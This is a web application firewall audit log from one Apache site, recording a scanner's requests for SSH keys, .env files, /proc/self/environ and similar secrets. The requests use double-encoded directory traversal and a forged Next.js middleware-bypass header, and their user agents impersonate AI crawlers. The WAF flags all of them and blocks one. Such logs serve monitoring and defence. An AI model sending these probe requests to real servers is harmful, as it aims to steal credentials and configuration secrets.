Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/known_hosts"] [unique_id "aqaoHmM7dE9KgIIOpQiBuwAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/known_hosts"] [unique_id "aqaoHmM7dE9KgIIOpQiBuwAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306910207908 332223 (- - -)
Stopwatch2: 1789306910207908 332223; combined=45448, p1=353, p2=45029, p3=0, p4=0, p5=65, sr=168, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--18f9a70a-Z--
--9672c46c-A--
[13/Sep/2026:16:41:50.545832 +0300] aqaoHkwu1RSkptiiNIX@yQAAAIs 34.182.226.0 36924 127.0.0.1 7081
--9672c46c-B--
GET /id_dsa HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9672c46c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9672c46c-H--
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/id_dsa"] [unique_id "aqaoHkwu1RSkptiiNIX@yQAAAIs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/id_dsa"] [unique_id "aqaoHkwu1RSkptiiNIX@yQAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306910340221 205668 (- - -)
Stopwatch2: 1789306910340221 205668; combined=35257, p1=236, p2=34919, p3=0, p4=0, p5=102, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9672c46c-Z--
--4d7d3a10-A--
[13/Sep/2026:16:41:54.245948 +0300] aqaoImM7dE9KgIIOpQiB0AAAANg 34.182.226.0 37222 127.0.0.1 7081
--4d7d3a10-B--
GET /@fs/app/.env?raw?? HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4d7d3a10-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4d7d3a10-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/@fs/app/.env"] [unique_id "aqaoImM7dE9KgIIOpQiB0AAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306914117454 128580 (- - -)
Stopwatch2: 1789306914117454 128580; combined=5363, p1=312, p2=4952, p3=0, p4=0, p5=97, sr=112, sw=2, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4d7d3a10-Z--
--030f6a57-A--
[13/Sep/2026:16:41:54.634159 +0300] aqaoIkwu1RSkptiiNIX@0wAAAJM 34.182.226.0 37294 127.0.0.1 7081
--030f6a57-B--
GET /@fs/src/.env?raw?? HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--030f6a57-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--030f6a57-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/@fs/src/.env"] [unique_id "aqaoIkwu1RSkptiiNIX@0wAAAJM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306914443987 190235 (- - -)
Stopwatch2: 1789306914443987 190235; combined=5335, p1=343, p2=4929, p3=0, p4=0, p5=63, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--030f6a57-Z--
--dd31b161-A--
[13/Sep/2026:16:41:54.762728 +0300] aqaoIkwu1RSkptiiNIX@1QAAAJc 34.182.226.0 37316 127.0.0.1 7081
--dd31b161-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--dd31b161-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--dd31b161-E--
--dd31b161-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "aqaoIkwu1RSkptiiNIX@1QAAAJc"]
Stopwatch: 1789306914757702 5118 (- - -)
Stopwatch2: 1789306914757702 5118; combined=3538, p1=229, p2=3184, p3=75, p4=10, p5=40, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dd31b161-Z--
--4206334a-A--
[13/Sep/2026:16:41:54.859905 +0300] aqaoImM7dE9KgIIOpQiB1QAAANE 34.182.226.0 37296 127.0.0.1 7081
--4206334a-B--
GET /@fs/../.env?raw?? HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4206334a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4206334a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.env"] [unique_id "aqaoImM7dE9KgIIOpQiB1QAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306914706713 153279 (- - -)
Stopwatch2: 1789306914706713 153279; combined=3891, p1=269, p2=3538, p3=0, p4=0, p5=83, sr=111, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4206334a-Z--
--5503913d-A--
[13/Sep/2026:16:41:55.128575 +0300] aqaoI2M7dE9KgIIOpQiB1gAAANU 34.182.226.0 37318 127.0.0.1 7081
--5503913d-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5503913d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5503913d-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:raw??=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "singlemaltcommunity.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "aqaoI2M7dE9KgIIOpQiB1gAAANU"]
Action: Intercepted (phase 2)
Stopwatch: 1789306915123048 5626 (- - -)
Stopwatch2: 1789306915123048 5626; combined=3773, p1=316, p2=3183, p3=0, p4=0, p5=273, sr=153, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5503913d-Z--
--2ca3ec66-A--
[13/Sep/2026:16:41:55.366032 +0300] aqaoI0wu1RSkptiiNIX@1gAAAIQ 34.182.226.0 37324 127.0.0.1 7081
--2ca3ec66-B--
GET /_nuxt/../.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2ca3ec66-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2ca3ec66-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.env"] [unique_id "aqaoI0wu1RSkptiiNIX@1gAAAIQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915272521 93592 (- - -)
Stopwatch2: 1789306915272521 93592; combined=5394, p1=302, p2=5023, p3=0, p4=0, p5=68, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2ca3ec66-Z--
--e732387d-A--
[13/Sep/2026:16:41:55.455953 +0300] aqaoI0wu1RSkptiiNIX@1wAAAI8 34.182.226.0 37334 127.0.0.1 7081
--e732387d-B--
GET /static../.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e732387d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e732387d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/static../.env"] [unique_id "aqaoI0wu1RSkptiiNIX@1wAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915346312 109737 (- - -)
Stopwatch2: 1789306915346312 109737; combined=5406, p1=291, p2=5050, p3=0, p4=0, p5=64, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e732387d-Z--
--db20e32a-A--
[13/Sep/2026:16:41:55.624464 +0300] aqaoI2M7dE9KgIIOpQiB1wAAANA 34.182.226.0 37348 127.0.0.1 7081
--db20e32a-B--
GET /media../.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--db20e32a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--db20e32a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/media../.env"] [unique_id "aqaoI2M7dE9KgIIOpQiB1wAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915486087 138447 (- - -)
Stopwatch2: 1789306915486087 138447; combined=4482, p1=327, p2=4086, p3=0, p4=0, p5=69, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--db20e32a-Z--
--702d1c18-A--
[13/Sep/2026:16:41:55.631005 +0300] aqaoI2M7dE9KgIIOpQiB2AAAAMs 34.182.226.0 37358 127.0.0.1 7081
--702d1c18-B--
GET /static//.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--702d1c18-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--702d1c18-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/static/.env"] [unique_id "aqaoI2M7dE9KgIIOpQiB2AAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915490868 140207 (- - -)
Stopwatch2: 1789306915490868 140207; combined=4691, p1=222, p2=4408, p3=0, p4=0, p5=60, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--702d1c18-Z--
--d5511625-A--
[13/Sep/2026:16:41:55.703164 +0300] aqaoI2M7dE9KgIIOpQiB2gAAAMk 34.182.226.0 58896 127.0.0.1 7081
--d5511625-B--
GET /files../.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d5511625-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d5511625-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/files../.env"] [unique_id "aqaoI2M7dE9KgIIOpQiB2gAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915610009 93231 (- - -)
Stopwatch2: 1789306915610009 93231; combined=4626, p1=237, p2=4319, p3=0, p4=0, p5=69, sr=90, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
